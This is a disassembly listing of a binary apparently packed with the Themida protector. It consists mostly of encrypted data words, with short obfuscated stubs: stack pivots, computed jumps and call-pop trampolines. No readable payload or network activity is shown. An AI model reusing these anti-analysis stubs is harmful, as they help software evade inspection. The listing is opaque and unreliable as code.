dd 59003926h, 0B9A6733Eh, 58F13D73h, 243C43D3h, 0C597D025h
dd 15CABAD2h, 1BDB0117h, 8CD22714h, 0DB011756h, 163D555Ch
dd 3E2BEB6Ch, 0ABC4D0F8h, 791FD6E2h, 17503D5Eh, 0E4F3A344h
dd 16C5AEC3h, 9D940901h, 8C21FC1Bh, 0AFBB4h, 597E1F00h
dd 9EB95B44h, 0DFF8A089h, 2235E1CAh, 6671240Dh, 1F864351h
dd 5D465B7Ch, 9F889DBAh, 0DFC8DDFAh, 2303183Fh, 89083E84h
dd 740ECBABh, 1056ABC6h, 0D35970DAh, 0DD1FD9E0h, 6A31A5ADh
dd 0C4977A92h, 5D5BED3h, 0F9CA0046h, 0C9D0D358h, 0ABA793A8h
dd 0E1533089h, 8C592433h, 0B0DC4FD2h, 0F2E5B598h, 56E8AA27h
dd 1BFC2134h, 91C27CAEh, 4E6559D7h, 0E690A5C6h, 3621F571h
dd 71E49E6Bh, 715F3972h, 79B29FC0h, 0A1A0B8DFh, 106C65Bh
dd 4615CCDBh, 16E1F6A1h, 3C072849h, 10679B2h, 5E9794DBh
dd 7D49FB8h, 0BE69D4EFh, 5ED2369h, 53F3DB01h, 277423ACh
dd 96678822h, 0BBBBD3C4h, 0E3FF42F7h, 8FAF4567h, 4B3CEA77h
dd 7271733h, 6150000h, 56411511h, 15024835h, 1BDB019Ah
dd 8EB04914h, 867615AEh, 0DFCFE768h, 0DB01F7A5h, 903CA7C0h
dd 0E3F084DAh, 4156033Ch, 7591A976h, 6F5h, 89BF055Ah, 8FDB01EFh
dd 1F559B88h, 25DB01EFh, 0AB20061Eh, 0D7A20F89h, 11926B8h
dd 2F1CF85Dh, 0CCBCE9h, 0A9EFC2DBh, 0DB00CC73h, 64517279h
dd 566E692Bh, 0BCBEE079h, 0ACAB6D5Dh, 2F5A14E1h, 1E39E000h
dd 0BBF5E5FDh, 0D6DB008Fh, 0ECA652BDh, 35E3FF1Ch, 69Dh
dd 876FC333h, 0C48F884Eh, 8EC40AF7h, 94D35970h, 44D1758Dh
dd 0AC6AA390h, 2613E0ABh, 5970AAE0h, 91A9B0D3h, 762B4C92h
dd 2A31DB01h, 0EB022401h, 4EFBB3EAh, 354445Ch, 25671707h
dd 0B1F7E430h, 6EBF200Ch, 9ABD5B12h, 203167ADh, 30376EBFh
dd 1106440Fh, 3792D8C5h, 3D76675Ch, 4D104936h, 0FA33324Ah
dd 6406A658h, 7F8B1ECEh, 0EF44495Eh, 2CF7E0B6h, 1A4B815Fh
dd 4A517667h, 888F4F32h, 44672590h, 31099E50h, 914h, 5B706738h
dd 0A0B5A272h, 0E1F6E1B7h, 203522F8h, 5E736437h, 692C7950h
dd 0A970596Eh, 0EBB099AEh, 2CEED7ECh, 9736162Bh, 0AB871B51h
dd 0D98721CBh, 350017C7h, 0C9B61EF7h, 7557283h, 847178DBh
dd 70888F4Bh, 55495349h, 0B4DCDB07h, 493621F1h, 7E494E10h
dd 0C87299B1h, 5096834Bh, 0DB075522h, 0D9562128h, 0F311E39h
dd 46E7E51Fh, 688FA7DFh, 76E4872h, 696E2BDBh, 0ACAB6B54h
dd 0ADF348E1h, 0DB076E77h, 6E5E767Dh, 0DB075E34h, 40CF3A4Bh
dd 7B64799Eh, 67F1BCDBh, 0DB076E2Dh, 6BFA6512h, 86BFACABh
dd 2CF9C4D3h, 58A9ED14h, 0D2000001h, 0FDAFD99h, 0C7442A42h
dd 0B8350017h, 859244E3h, 3E8A54BAh, 0F2CE9152h, 0A1C3B0D1h
dd 3BFB6733h, 0A7849C1Ch, 58ABE71Dh, 0F08CAD3h, 7AA60022h
dd 0D873106Eh, 0A25CCCFBh, 5223CAC2h, 9F7C9483h, 0A0DCD06h
dd 0DC94EF2h, 3076CB20h, 0D35958FAh, 898E4900h, 0B8D0F1BEh
dd 73EB7C8h, 881DBDDBh, 51EE5009h, 0D5362E4Fh, 2F4E4A1h
dd 7F2956Dh, 45160000h, 80543D52h, 0FF998297h, 3CDAC3D8h
dd 7E1D061Bh, 93364459h, 3F544312h, 7F948356h, 0C1D6C196h
dd 0FC1106D8h, 1377D1Ch, 7CBAB86h, 17C7BF6Dh, 0E5B83500h
dd 0ECC05F2h, 59713E09h, 8B8C4932h, 0A7B0659Eh, 0D0F70FDCh
dd 0B2037E7h, 80FCD06h, 0C082F84Eh, 0C1D92C78h, 0B5683FDEh
dd 6A3522F2h, 905B7C9Dh, 458B4013h, 0D358BB0Fh, 22ED0E15h
dd 4AD9445Dh, 71778C8Bh, 1BA8B439h, 1000h, 0AA6CFE00h
dd 95000000h, 7D73F73h, 738BAA2Ah, 0AE89AB8Dh, 0D7CD7678h
dd 6333162Eh, 0E51FA974h, 0CAD35975h, 7323B21Dh, 0B1664F64h
dd 0D880B9A6h, 40CAA7BFh, 0D3597607h, 5E902EEAh, 0D422613h
dd 3AB782A3h, 90ECB9Ch, 0C3D41DE8h, 3F687958h, 0BB9045D4h
dd 0FCC7D082h, 9C1B512Fh, 1A21D359h, 0C7F8E4F9h, 0BD3A0512h
dd 8A8D4F18h, 0C0D99E69h, 5611C655h, 30C99483h, 5970B4EAh
dd 92B3BAD3h, 0C9665C71h, 0C3D35978h, 4D091558h, 6999904Ah
dd 0A6EBD9FAh, 79E45885h, 0FFFFFE77h, 3CB6C77h, 73950000h
dd 23F58044h, 0E29C6934h, 445CEDFBh, 17C75Eh, 183FDA13h
dd 8B68804Dh, 5970D701h, 0FB1CBAD3h, 0F3E4B330h, 6ED9D428h
dd 124BA48Fh, 1D385047h, 6CB207B2h, 0D3597036h, 0FE7B353Ch
dd 4047C6D2h, 0EDAD90A8h, 2AECD5EAh, 0A5EB402Dh, 0D358CF6Fh
dd 79566E75h, 30F7A7E0h, 0D19E696Eh, 7EA898B0h, 61D358CFh
dd 9DDBA6B1h, 296F5CB8h, 0DB06B418h, 0A01F171Eh, 29F4E48Dh
dd 64EBC94h, 0A1720000h, 0E4B8A1B6h, 23F5DEF3h, 60361F34h
dd 0DA796277h, 2F9AA8BDh, 9BB0A776h, 0DBF0E7B2h, 1D3225F2h
dd 60756234h, 659BE180h, 6BCBAB84h, 17C723D1h, 0E5B83500h
dd 22F4DDF2h, 4F0F4835h, 0B4A37748h, 0DD041CE9h, 73D83D8h
dd 0EAD35970h, 767D2B2Ch, 1CE7F0A5h, 8154374Fh, 1B54A996h
dd 4B815F78h, 51D35970h, 0BBDC794Ah, 8A49C6A3h, 0E4FDC28Dh
dd 2C2BEA79h, 0FD591117h, 84BD1BA7h, 8EAAC2D5h, 2C5h, 1056AB8Ch
dd 0D35970DAh, 70255BA1h, 242BD359h, 82B56F76h, 7FE64AA8h
dd 8E8B2F47h, 0C0E27B46h, 7C489180h, 7644ABh, 0CA63693Eh
dd 55A191A9h, 70D247F1h, 0A40EC57h, 0EC1AB682h, 0D95C11CAh
dd 0F50D78ACh, 27CD9h, 1506D700h, 588ED4C1h, 5ED35970h
dd 0B6028C57h, 0D1D2486Fh, 0E9A14DB8h, 301AB6FCh, 25Dh
dd 0C115062Eh, 0D9FE9BD4h, 2A29410Eh, 5970B2E4h, 9D4079D3h
dd 28E2AF7Ah, 70999DD1h, 0F9B9D187h, 16AAE026h, 10B0D359h
dd 0B184A2BCh, 0D0F11231h, 0BF2F7B05h, 4612D247h, 4C098651h
dd 5403804Bh, 5CC77443h, 60CBE47Dh, 0E41A60B5h, 0EAD247BFh
dd 87CBCBE3h, 5A1AB64Ch, 201h, 0A672AB58h
dd 119E6B1h, 2B18FC5Dh, 0D48225F2h, 0AD7A2C3h, 61799E39h
dd 70EE1C62h, 0EDF4D359h, 704C9822h, 4E67D248h, 0FD7337E3h
dd 0CEC61AB6h, 0AB000001h, 68DA1056h, 1FBDD248h, 0B2602DF8h
dd 686399DFh, 6269D248h, 0AB432941h, 0B83EF089h, 9061FA00h
dd 3603CEC9h, 7C9B3B1Eh, 9582568Fh, 882C62A8h, 2B32D358h
dd 19B93613h, 67888F4Eh, 0CEAFA852h, 0C60C6577h, 0D358F490h
dd 0AD58F96h, 5D4A6BE3h, 0B0CCF08h, 5F957340h, 65D35871h
dd 147465Eh, 0DB0099C0h, 6AF4BFC6h, 0DB009930h, 1BC7324Bh
dd 0E3FF2A57h, 0C8CF8EC7h, 5894B0h, 57790000h, 3117A54Fh
dd 2433E218h, 605EB03h, 83D8C511h, 4D88F4Ah, 5A7B4813h
dd 3182298Fh, 0D443734Ah, 76AB9BB3h, 7CDB00D8h, 0D811AA75h
dd 0E3291601h, 0DB00D8ADh, 0A494ACB3h, 0DB00D86Ah, 0BE898E4Dh
dd 0BB869141h, 9372DDF6h, 0CA76E1FAh, 0E3F09980h, 0CD59h
dd 17C75700h, 38DA1300h, 6F87541Fh, 51461592h, 696E2B64h
dd 0DCB9D19Eh, 0CD98BF5Fh, 74898E50h, 5975157Eh, 3126F8D3h
dd 0A8F5171Ch, 9BBC59FFh, 24903D0h, 1B51972Fh, 21D359BDh
dd 3DE1F91Ah, 17363D8h, 0F74C963Bh, 0F9A3E9D6h, 0FFDB0488h
dd 3D20BF8h, 4716FF14h, 0B3E92F84h, 0B9DB0489h, 899ED4B2h
dd 0D181DB04h, 802EFBC6h, 76DAAEE0h, 395AA0F9h, 70972018h
dd 0FF94F4E2h, 37B27h, 0D9FE9F00h, 1E39DBC4h, 5F782009h
dd 0A2B5614Ah, 0E6F1A48Dh, 9F06C3D1h, 0DDC6DBFCh, 1F081D3Ah
dd 5F485D7Ah, 0A38398BFh, 8188BE04h, 0F48ECBABh, 314C746h
dd 425505EEh, 15C70055h, 8C6A3702h, 0D3597056h, 0AD789F39h
dd 132B32E0h, 17C700ECh, 639C3500h, 0A78AA2B5h, 0C6CBE0F7h
dd 0B7CFC88Dh, 59708EC7h, 6FA7B0D3h, 765B3C82h, 5A61DB01h
dd 7661346Dh, 9FC6DEABh, 17C7B3h, 0F1E6B835h, 0F12532DCh
dd 0A376AF04h, 6BAC9CB4h, 71DB0198h, 0DB159F6Ah, 0BEDB0198h
dd 0B532FD1Ah, 932AF5E2h, 7024B31Eh, 94AD4667h, 25357D29h
dd 729E3F0h, 319E02D6h, 5E7A92DDh, 25h, 0A272AB5Ch, 1CF99DB5h
dd 5085CBB8h, 56DB0176h, 0C0FA844Fh, 0DBDB0176h, 0E7AB57C2h
dd 3AE3FFFBh, 121h, 17C738h, 7C7A9C35h, 0F565440Dh, 8CBAEC6h
dd 17C7440Fh, 6E8F8850h, 0EA944881h, 6D5F3997h, 0E2ADCED4h
dd 7FA0B765h, 0D5EDEAAEh, 0BCDB7BF8h, 6848B1A7h, 6B2BD359h
dd 94467F6Ch, 0F11205D3h, 1A415926h, 193EDC15h, 8669814Eh
dd 5FF8C3D4h, 0AB657226h, 9DCC5104h, 42E6FE3Fh, 0D6BD68D5h
dd 0C48C6385h, 1B61B6A3h, 0D3591BE5h, 3B0611C8h, 0A1B9C06Eh
dd 0B2F84DA2h, 0D3591C7Ch, 488E7B82h, 0D3591C12h, 9F91118h
dd 0DB012B9Ch, 0DC869BA2h, 59AE9B7Bh, 455D7A20h, 0ABDBA555h
dd 0D1176CE2h, 0E2ABDB9Bh, 0D81E01A1h, 867125E6h, 868D4D65h
dd 9ABD6099h, 0D13658ADh, 0D3FC99B3h, 62497F5Dh, 484FE2ACh
dd 7D200930h, 0C68AFEC1h, 91451694h, 0CDEEBB86h, 0FA71B4ACh
dd 8D22FC1Bh, 1BBB5h, 193EDF00h, 5E791B04h, 9FB86049h
dd 0E2F5A18Ah, 2631E4CDh, 0DFC60311h, 1D061B3Ch, 5F485D7Ah
dd 9F889DBAh, 0E3C3D8FFh, 80C8FE44h, 34CECBABh, 6A14C786h
dd 0F5022Dh, 2B406158h, 72879042h, 15110686h, 422F5047h
dd 0C5984F09h, 193A07D2h, 87BC0201h, 8DDB0176h, 0E922BB86h
dd 0E25F2A2Dh, 0E9012235h, 176BFF9h, 56C1DADBh, 0FFFBE0AAh
dd 0A239E3h, 0FC1E0000h, 961B0153h, 0F9DFF7B7h, 350017C7h
dd 0A6B1639Ch, 56E8AB8Eh, 0CA4E7C86h, 3F0A2B66h, 58FA4CB5h
dd 686F2FD3h, 0AFA86A53h, 0B5B1A6E4h, 5E2BF6E1h, 9D0A503Dh
dd 0A3DB0109h, 78DD879Ch, 5A69AF9Ch, 60E2ABB6h, 8435BCC0h
dd 214226E1h, 3F58FB34h, 8592412Ah, 1B8A148Dh, 0A47C11FCh
dd 0E4h, 2B405708h, 70859242h, 0B1C6D187h, 0F00512C8h
dd 2E435407h, 59FCA920h, 9940293Eh, 0DB80697Eh, 1CBEA7BCh
dd 6706E6FBh, 0AB7EEB21h, 0A957F1CBh, 0EE0314C7h, 55425505h
dd 905B7C1Ch, 9884ABC3h, 350017C7h, 0EC25E6B8h, 1B512F28h
dd 21D35970h, 3AE4F91Ah, 0C60CF9DDh, 0DB0755B1h, 4CE5B0B7h
dd 0F7A74013h, 274815E0h, 55BEF43Ah, 0BDC4DB07h, 710C2A5h
dd 0E0B4EDF2h, 475F2CF7h, 27F5B264h, 0BA440F30h, 4DE95A2Ah
dd 7F4A4D0Dh, 5A6AA0E6h, 69704DE9h, 0BD6C198h, 7251BCB7h
dd 0D564CFCAh, 14FD1205h, 0D8A5542h, 8834E49h, 0B161F05Bh
dd 0F6A891A6h, 5A99CF15h, 989F4DE9h, 5A2F65ABh, 2E354DE9h
dd 196A420Dh, 0AC000000h, 0B1A672ABh, 330119E6h, 29EE277Ch
dd 0B896632Eh, 0D3597082h, 83698188h, 360116C7h, 33FE19B9h
dd 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h
dd 0F9C4D385h, 0F4BFD87Ch, 0E689563Ch, 7711B850h, 92051073h
dd 0F731D41Ah, 6E8C1D0h, 503E8C1h, 0FFA123CDh, 8358C601h
dd 348704EEh, 2F685C24h, 89000076h, 7D682404h, 8900003Bh
dd 68532414h, 4B55664h, 0F7F3875Bh, 43F387D6h, 27E0EB81h
dd 0F3815A03h, 0A6EA641Ch, 685BD889h, 6ABAh, 81242489h
dd 42404h, 535A0000h, 8BBh, 89D30100h, 241C8B03h, 8B04C483h
dd 89532414h, 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048B5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
dd 0D5BFE32Bh, 7A12949h, 0A1FF670Bh
; ---------------------------------------------------------------------------
loc_5E07E0: ; CODE XREF: Themida_:005DF9B4j
mov eax, 7ADF2C8h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F1h, 0AEh, 81h
dd 0DA452978h, 316D791Ch, 0E646010h, 66411837h, 0F0AC2D2Fh
dd 567BDB6Ch, 90CF250Dh, 0BB911968h, 14EA0E2Ah, 3AF7543Fh
dd 216DD859h, 757ABB18h, 75A02A51h, 0C5EC9B33h, 83EAC047h
dd 0A78016Ah, 62E67A33h, 0D47D1A7Fh, 7F8D8D21h, 0F507ADF4h
dd 8D89C28Ah, 7A81731h, 1DB19D29h, 85C707A8h, 7A80A59h
dd 5C78h, 0BC0CD081h, 85C74D97h, 7A80939h, 0
; ---------------------------------------------------------------------------
or edx, [ebp+7A81C91h]
push dword ptr [ebp+7A810A9h]
push 0
push ebp
call sub_5E087B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E087B proc near ; CODE XREF: Themida_:005E0873p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5E087B endp
; ---------------------------------------------------------------------------
db 3
dd 0E8C68AAAh, 0Fh, 61CE16D4h, 0AF997295h, 649459A0h, 8BCD5B84h
dd 95FF5AD0h, 7A81A99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 97C35545h, 14E9h, 8289D500h, 59EBF81Fh
dd 731603FDh, 24FB8B0Ch, 0ADC246E5h, 0FF006ABFh, 0A80D2195h
dd 0EBC08B07h, 460DD949h, 0DBA970BAh, 40F63721h, 703A7CC0h
dd 891C8A29h, 5AB0B1Bh, 4499D95Dh, 0AFEF5FE7h, 8D77AFA6h
dd 0A7E6CE55h, 600648B8h, 0FBB8502Fh, 0EE7D24D3h, 395E7589h
dd 0A4905326h, 9CD3738Bh, 6CC9DF93h, 59FCF4F4h, 0C5E99D68h
dd 3E000000h, 94086987h, 5000000h, 1000000h, 28000000h
dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h
dd 32h, 27h dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E1590
; ---------------------------------------------------------------------------
push 7ADF731h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADF821h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADF913h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADF986h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADFAB0h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADFB1Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADFE70h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ADFF47h
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0DBh, 3Ah, 1Dh
dd 5A7D1F08h, 9BBC5C45h, 0DEF99D86h, 1A3DE0C9h, 0D3D2F705h
dd 19021700h, 5B44597Eh, 9B8499BEh, 0E7C7DCFBh, 7BCC0248h
dd 38D2CBABh, 48B44F71h, 0A316DB7Ch, 169DE6D5h, 3E56776Dh
dd 5017C758h, 1B3CDA8Dh, 41622FFAh, 5B7C1B54h, 0CEABC390h
dd 395EFC35h, 7B9C3E21h, 0BDF3398Eh, 0C3D35970h, 0D37DA4BCh
dd 5FA59242h, 0DB01981Eh, 0C8521D24h, 0DB01988Eh, 7A2590A9h
dd 98A9DF25h, 0A8AFDB01h, 25DA9090h, 2A1FE3F0h, 1D000000h
dd 0D8C51106h, 1765D92h, 0EFAC63DBh, 72FCC7E8h, 0DB017638h
dd 23CF3A53h, 0E3FFFB6Fh, 0D3C496CFh, 7233B08h, 0E6h, 6717C705h
dd 0E4573B8Fh, 0A07445E9h, 4ECB96B7h, 40BD888Fh, 31AE799Eh
dd 6B617661h, 0D3587CACh, 7B9C3A73h, 20EBECAAh, 86583B53h
dd 0AC6BA491h, 4278BEABh, 48D3587Ch, 0FD022941h, 7C2C62A8h
dd 1A26D358h, 5B20E224h, 0B4CCD381h, 4B1601D1h, 0DFCC080Dh
dd 10FE499h, 0CEE3EADBh, 0F6E33324h, 33FE19BDh, 94F4E66h
dd 0E2ABBFF2h, 0E204F1F8h, 0FCAB319h, 0F3F4E08h, 508988A0h
dd 8C758A8Dh, 0A3D6CEC9h, 54FC1BF3h, 91AE7BFh, 0C5960000h
dd 0D4BDD2h, 7F190217h, 0BC5A4358h, 0FE9D869Bh, 13B6C4D9h
dd 0BFD4C392h, 0FF1403D6h, 41564116h, 7C918658h, 81B7FD9Ch
dd 87CBAB79h, 89AB3FEDh, 2A45EF7Dh, 90738BE5h, 0B0B5CACDh
dd 391AA477h, 0FD69010Bh, 11DEA9CAh, 874416F9h, 588C0B41h
dd 0E90A11D3h, 72ABE8D4h, 0F498B0A7h, 8DC6B363h, 0B1B0C8CFh
dd 176366Bh, 23693CDBh, 0DB0175EDh, 5F0D0AD0h, 0E26C3758h
dd 0DB0176A8h, 933FAAC3h, 0E3FFFBDFh, 0AE22h, 0CCE0700h
dd 5B73400Bh, 17C775h, 0F2E5B835h, 0F3398E27h, 0D35970BDh
dd 0B4A4BCC3h, 0D35974F5h, 0FC1106D8h, 67544313h, 19B96E2Eh
dd 456633FEh, 512502Dh, 0E99EE4D1h, 0B0DB019Ah, 0FA63328Eh
dd 94AC3E4Bh, 0EB8CDD4h, 9AE0CD09h, 0E2AC7A72h, 4B847178h
dd 917A8F88h, 0B4DDD5C2h, 31FC1AD7h, 82AC49Ch, 0F5A60000h
dd 30E4CDE2h, 6F291227h, 0AC6A5368h, 0EEAD96ABh, 3C6D4E9h
dd 0CFE4F3A2h, 0F2433E6h, 51667126h, 8CA1B668h, 91C70DACh
dd 97CBAB78h, 14C74FFDh, 0C7E9EE03h, 0C82E1B66h, 0F1BB90E4h
dd 7771621Ch, 7D7BAD2h, 0C70FFB10h, 0B8350017h, 32DCF1E6h
dd 0CB04F125h, 76430E09h, 0B5195F5Eh, 0BBDB0765h, 20415604h
dd 6298DE33h, 68DB0765h, 0F82E7461h, 0FEDB0764h, 0A7E0DFF7h
dd 0C6CBE0F7h, 0FEC9CE8Dh, 83291931h, 0A5DB0765h, 5E4B60B4h
dd 3A9A7BD2h, 6DD6F84Dh, 0C10C35E8h, 4465556Dh, 4AE2AF55h
dd 0D34C1A43h, 0F576784Ch, 81C7B460h, 7E205928h, 0C35C272Eh
dd 0F15D29A1h, 210E58ADh, 1FE7A5DBh, 8CA4AB7Eh, 0BAA76FE8h
dd 0CB5F5474h, 66535A85h, 1ABA6D2Dh, 9AEFDCFDh, 0CB5F1E54h
dd 51D2485h, 3225F5DEh, 3830133Ah, 6F47DC41h, 738h, 0DFF4E3B4h
dd 1C3126F6h, 5D726533h, 9CB1A674h, 0E2F7E0B3h, 0EDB0F5D4h
dd 2DECD5EAh, 6F2C152Ah, 0A86A5368h, 1BBA9AAFh, 0AB779FD5h
dd 5D0BA5CBh, 0D8C51106h, 7652E92h, 402D34DBh, 357B5007h
dd 0DB0764FFh, 0C5DDFE05h, 18CF8DC6h, 1D325344h, 8A776034h
dd 928ECA68h, 184D3385h, 0CDBF7984h, 39162EFEh, 5FD1ABCh
dd 0F4E4C270h, 0C510E87Dh, 41000006h, 89728790h, 0CEB7CCCBh
dd 0FF80D0Ah, 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h
dd 0B0CC9B2h, 4A4D0DF6h, 70B65535h, 0CBAB773Ah, 6F8A640h
dd 51461511h, 0AB98B986h, 98B0A772h, 64EF5399h, 0EEF5DB07h
dd 1157AC01h, 0DB0765DBh, 0DFC2DAE1h, 5903183Fh, 0E12714F8h
dd 0DB0765B7h, 0E6B1EABDh, 65DD13F1h, 0DCE3DB07h, 2D66F0BBh
dd 48DB0765h, 5218C42Fh, 0A7E3F5F6h, 42h, 1056ABA5h, 0D35970DAh
dd 1DC1D9E0h, 96EBD83Ch, 849CBB5Dh, 59706294h, 966168D3h
dd 5970D20Ch, 69D4EDD3h, 0A7FDF5BDh, 144C1Bh, 6C4A0000h
dd 1DFh, 0CCBF5C95h, 59705086h, 2E4F56D3h, 6FC33016h, 0B4A175E2h
dd 0EFBADD7Bh, 0B60B0A22h, 0EEB9DE7Dh, 0F8190921h, 0BFDB0176h
dd 0ADC5D286h, 0EFBDE6EDh, 8AAC270Fh, 3F02431h, 543464BDh
dd 98636A92h, 2C19FD5Ah, 0D9FE9ED7h, 3929410Eh, 99FFAC19h
dd 0A1B6681Fh, 0FBE809D6h, 390413C2h, 1C55546Ch, 43485D7Ah
dd 814C4B0Ah, 19B99CB4h, 0E57B06FEh, 27BC35EFh, 59B4Fh
dd 51461700h, 9681533Ch, 0D7C09881h, 1A3DD9C2h, 5E791C05h
dd 178E3B49h, 553E5344h, 97809582h, 0D7C0D5C2h, 1BFB1007h
dd 7600367Ch, 6C06CBABh, 17C7BEh, 0B61EF735h, 1ACD90C9h
dd 0C18E597Eh, 0F008D5A0h, 0A50AABF1h, 910DB01h, 2037E31Ch
dd 559B8855h, 0DB01A51Fh, 0DF061E25h, 3B3324F6h, 0F4E1EA2Eh
dd 310EE67Bh, 0AD000005h, 0EDD6EBECh, 2A13282Fh, 6B54696Eh
dd 0AA93A8AFh, 0C9D7ECEBh, 0E1F6A500h, 2334E3CCh, 6770250Eh
dd 0AEA96952h, 0D41AB999h, 0CBAB759Eh, 0AB5C0AA4h, 0E6B1A672h
dd 0B0E62C19h, 0B6D35970h, 0E2B497AFh, 66879045h, 5B7C1E9Bh
dd 0ACCECB90h, 108681BEh, 3E5971ABh, 490628D3h, 3A5DFA28h
dd 9F3C3E80h, 35F2A487h, 295FA566h, 2FD358CBh, 6F3C0728h
dd 7F33394Eh, 0C21BA758h, 35h, 0C51106C0h, 0F4EBB6D8h
dd 825D21B3h, 0DAF2E5B1h, 0F2B495DBh, 0B3BADB00h, 0F2245EE8h
dd 263FDB00h, 0C3EE10BBh, 2F0F8BBEh, 12585870h, 0E7E3F0B2h
dd 4Bh, 0C51106E5h, 0F52E83D8h, 98653027h, 597084BAh, 6B838AD3h
dd 1BE8E7Bh, 0A08D94DBh, 8DA2B567h, 0F38B4F88h, 0E31B1E53h
dd 58234468h, 4A83738Bh, 2DDB01F7h, 218D16Dh, 520C0BC9h
dd 8CAD3E4Ch, 0C9CE8E77h, 43626FEh, 0AB680000h, 42A3C89h
dd 2A7021DBh, 0D358AFF4h, 0BAD2F3FAh, 0E8D50116h, 0CB91A2h
dd 0C59097DBh, 3423F32Ch, 7E99391Ch, 0F9645FB3h, 7B68ACA9h
dd 6A829542h, 96F4166Bh, 809747C5h, 4D89ECC6h, 33344535h
dd 333AE2A9h, 0C265351Eh, 6F3C0710h, 10DBFC9Eh, 0FC352243h
dd 46233B5Ch, 0DAC70F08h, 5133A394h, 0B4D6A9EAh, 4D313769h
dd 9AD0AEE7h, 0A0EA5076h, 0CB5CDF99h, 0D6487524h, 0C26FEAB5h
dd 6816C857h, 0A0C436FCh, 0CBE00125h, 0F52B71C6h, 0FBEA50B3h
dd 0DF38DCF4h, 7CB50AF7h, 0B2A2BADDh, 0F1F8D05Dh, 5389CF24h
dd 4DF1F8D0h, 0BDA584DDh, 69701E53h, 9D8A9151h, 0FA4C327Bh
dd 94ACE54Bh, 7F983AB7h, 218C39B4h, 0A39044D1h, 7DB3F94Eh
dd 83F1F874h, 1F74647Ch, 25F9A090h, 0E204091Eh, 78ADA2E5h
dd 0DEC1D9AFh, 0F52E1B3Ch, 411E3621h, 0AE6D11C4h, 0E4E76AEh
dd 6FC38EAFh, 95E0974h, 0A09D8DC3h, 7AC093F9h, 0F9A09D44h
dd 0A22434Ah, 0EDB07727h, 31521FEAh, 98E5721Ch, 0A59498CCh
dd 0F8E506DCh, 496BC1B2h, 4D10C701h, 91B27F4Ah, 0D3094FA4h
dd 0D901496Bh, 60DDBAD2h, 51CE99BEh, 4DCA9582h, 26BD888Fh
dd 986746B1h, 9CD580EBh, 420FDAFDh, 4591862Ah, 6C211258h
dd 0AFE808F1h, 5623EEE9h, 0AFC7D085h, 0EAD3E8EFh, 0E7642F28h
dd 610B2037h, 0ED3320F4h, 109994ACh, 0F04E12B2h, 91B5C916h
dd 0FFB95058h, 0EA0B24AAh, 0B35B951Fh, 5D761099h, 400C46F2h
dd 3DD5D918h, 0D3000000h, 0B5A272ABh, 0B81CF99Dh, 765085CBh
dd 4F56DB01h, 0E5B2EB84h, 425A27F2h, 1761852h, 3F58FBDBh
dd 3324F774h, 0AE191468h, 0B21D36CFh, 0F08CE07h, 0FBB3F7F7h
dd 0CB86E3FFh, 84000000h
dd 350017C7h, 0F2B5639Ch, 9C693423h, 0DD80637Bh, 0A072EFBAh
dd 0AF6FECB7h, 163720F8h, 754C0B01h, 6F2FD359h, 0A86A5368h
dd 193A5DFFh, 1F07104Eh, 0EFE8AD7Ah, 6BC0ADCEh, 457BC116h
dd 4BD35975h, 75306644h, 2F36D359h, 83BA2717h, 0B9C0DB01h
dd 44A9FA4h, 0DB0183CEh, 11B5CDD4h, 9DE3D004h, 0E2AC33EDh
dd 0AAFFECF3h, 0EBB6A171h, 7023061Eh, 0AA695267h, 1DBEB5ADh
dd 5AEFFC1Bh, 1DB82h, 91865700h, 0D6C1937Ch, 1700D8C1h
dd 5A7D1902h, 9EB95C45h, 574E7B89h, 957E9384h, 0D7C0D5C2h
dd 17001502h, 5B3B5047h, 724076BCh, 0AC46CBABh, 314C7FEh
dd 425505EEh, 84BA0055h, 8AD35970h, 0F51601D3h, 4E667124h
dd 11063B27h, 5D92D8C5h, 63DB0176h, 0CD07915Ch, 0E8DB0176h
dd 0F2B864CFh, 47E3FFFBh, 0B7h, 0A472AB45h, 0E6B89BB3h
dd 69AF04F1h, 0D3597033h, 0B6613239h, 0F109D6A1h, 0D3C49714h
dd 74BF7E08h, 0F0A2D359h, 29E9D2E7h, 3025632Eh, 0AB766134h
dd 8AD0BDDEh, 0DB01831Dh, 5D071C23h, 0E92F1CF8h, 0E2AC30DAh
dd 0B3ECD9E0h, 859247E0h, 9C3E7764h, 2B7563E2h, 7E9FB33Eh
dd 87563F66h, 73BDABF7h, 0BDDEC17Dh, 1B01D8C5h, 0A88015FCh
dd 104h, 0A3B8DF80h, 0E8FD1ABAh, 293E59FFh, 687D9A40h
dd 0A6BBDC7Fh, 0A1743198h, 0E1B8A1B6h, 23F8E1F6h, 64361F34h
dd 0DF7E5E73h, 0AB716399h, 21CF69CBh, 0EE0314C7h, 2D425505h
dd 9628EF28h, 0F43EFF76h, 6934556Eh, 0AB9E849Ch, 9DB5A272h
dd 0ED3318BAh, 0D35970B7h, 7002387Eh, 108D359h, 602B4C53h
dd 0F2433E3h, 3724F065h, 2B3C0E2h, 3C18DB7Bh, 9BCC3424h
dd 0CBD2DB06h, 0F8D38300h, 69B7CB2h, 936B76DBh, 0E86A8733h
dd 0FD12333Ah, 3BC4214h, 1C5298A4h, 22DB0732h, 0FAFC611Bh
dd 0E7713C5Dh, 0EACE1023h, 76415606h, 6D385FF9h, 5B2A2DF0h
dd 0BC6443AEh, 17C756C1h, 5002EB00h, 75215A47h, 0B2CA9762h
dd 958258D5h, 9CBE4FCAh, 19289F60h, 47627A8Bh, 23F831DCh
